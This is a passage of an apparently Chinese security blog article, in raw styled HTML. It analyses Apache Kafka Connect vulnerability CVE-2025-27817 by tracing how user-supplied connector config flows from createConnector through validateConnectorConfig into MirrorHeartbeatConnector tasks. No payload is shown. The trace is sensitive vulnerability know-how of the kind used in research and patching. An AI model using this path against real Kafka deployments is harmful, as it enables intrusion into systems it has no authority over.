YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">KAFKA_DEBUG</span></p><span leaf=""> 非空时将添加远程调试配置：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008535" class="rich_pages wxw-img" data-ratio="0.3359298928919182" data-type="png" data-w="1027" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=b3e3caae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJVcwkTG5rS7jLxk66GQkmDaibvPffJboRp7KibxAMALBMmGiaTwFoxZ7YA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">connect-distributed.sh</span></p><span leaf=""> 中加入环境变量定义以启动远程调试：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">...</span><span leaf=""><br/></span><span leaf="">export KAFKA_DEBUG=true</span><span leaf=""><br/></span><span leaf="">exec $(dirname $0)/kafka-run-class.sh $EXTRA_ARGS org.apache.kafka.connect.cli.ConnectDistributed &#34;$@&#34;</span></p></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞分析</span></h2><div><span leaf="">从公开披露的信息看，</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-27817</span></p><span leaf="">与历史上的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-25194</span></p><span leaf="">相似，触发接口都位于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConnectorsResource#createConnector</span></p><span leaf="">，分析时可以参考</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-25194</span></p><span leaf="">的构造过程。该接口传入的参数类型为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CreateConnectorRequest</span></p><span leaf="">，其中包含一个名为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">config</span></p><span leaf="">的键值对。调试确认此时类中的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">herder</span></p><span leaf="">类型为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DistributedHerder</span></p><span leaf="">：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008538" class="rich_pages wxw-img" data-ratio="0.5371819960861057" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=dc136918&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJY2qHOBBCTtnoGqMe5tu28ddulDWY2pYtjulgyFharZFlRUs4VfRZJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div><span leaf="">进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">putConnectorConfig</span></p><span leaf="">函数，经过传递将调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">validateConnectorConfig</span></p><span leaf="">验证传入的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">config</span></p><span leaf="">参数。该函数尝试从参数中读取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></p><span leaf="">为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">connector.class</span></p><span leaf="">的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">value</span></p><span leaf="">值，然后通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getConnector</span></p><span leaf="">来实例化</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Connector</span></p><span leaf="">对象。</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Kafka</span></p><span leaf="">中抽象类</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Connector</span></p><span leaf="">共有</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">7</span></p><span leaf="">个子类：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008534" class="rich_pages wxw-img" data-ratio="0.43473994111874387" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f3cf9145&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJRFia187l3FhE6YfUiaXxV7AOq4cpAibl3ibsvlQYD17DCMNAtyem5EV3mw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">FileStreamSinkConnector</span><span leaf=""><br/></span><span leaf="">FileStreamSourceConnector</span><span leaf=""><br/></span><span leaf="">MirrorCheckpointConnector</span><span leaf=""><br/></span><span leaf="">MirrorHeartbeatConnector</span><span leaf=""><br/></span><span leaf="">MirrorSourceConnector</span><span leaf=""><br/></span><span leaf="">SinkConnector</span><span leaf=""><br/></span><span leaf="">SourceConnector</span></p></pre><div><span leaf="">以</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MirrorHeartbeatConnector</span></p><span leaf="">为例，当请求参数中</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">connector.class</span></p><span leaf="">取值为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MirrorHeartbeatConnector</span></p><span leaf="">时，会利用类中的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">start</span></p><span leaf="">函数创建一个</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Task</span></p><span leaf="">任务，并通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">execute</span></p><span leaf="">启动任务子线程，而此时</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">config</span></p><span leaf="">的值仍来自于用户请求 ：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008537" class="rich_pages wxw-img" data-ratio="0.5249266862170088" data-type="png" data-w="1023" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=aad28398&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJtySYLG1wOosjbOu6qRLibzMA2zUBQpicRD6btWO6ZA3mTicZJ0W9wyjRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008536" class="rich_pages wxw-img" data-ratio="0.3689892051030422" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 